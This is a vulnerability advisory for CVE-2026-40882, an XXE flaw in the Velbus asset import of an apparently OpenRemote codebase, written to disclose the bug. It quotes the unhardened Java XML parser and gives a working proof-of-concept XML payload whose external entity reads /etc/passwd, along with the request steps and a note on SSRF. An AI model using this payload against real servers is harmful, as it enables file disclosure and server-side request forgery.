CVE-2026-40882

描述

### Summary The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. ### Details Velbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities. ```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java @Override public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) { return executorService.submit(() -> { Document xmlDoc; try { String xmlStr = new String(fileData, StandardCharsets.UTF_8); LOG.info("Parsing VELBUS project file"); xmlDoc = DocumentBuilderFactory .newInstance() .newDocumentBuilder() .parse(new InputSource(new StringReader(xmlStr))); ``` Expanded `Caption` content is propagated into created asset names: ```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java String name = module.getElementsByTagName("Caption").item(0).getTextContent(); name = isNullOrEmpty(name) ? deviceType.toString() : name; // TODO: Use device specific asset types Asset<?> device = new ThingAsset(name); ``` ### PoC 1. Log in to a realm with a user that can call Velbus asset import. 2. Create/select a Velbus TCP Agent in that same realm. 3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file. 3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters. ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE velbus [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <Project> <Module type="VMB1RY" address="01" build="00" serial="LAB"> <Caption>&xxe;</Caption> </Module> </Project> ``` As long as the file content is under 1023 characters, the exploit will succeed. <img width="1200" height="662" alt="image" src="https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b" /> If the file content reaches the limit, an error is thrown. <img width="1200" height="630" alt="image" src="https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429" /> ### Impact - **Type:** XML External Entity (XXE) - **Affected:** Deployments exposing Velbus import to authenticated users with import access - **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.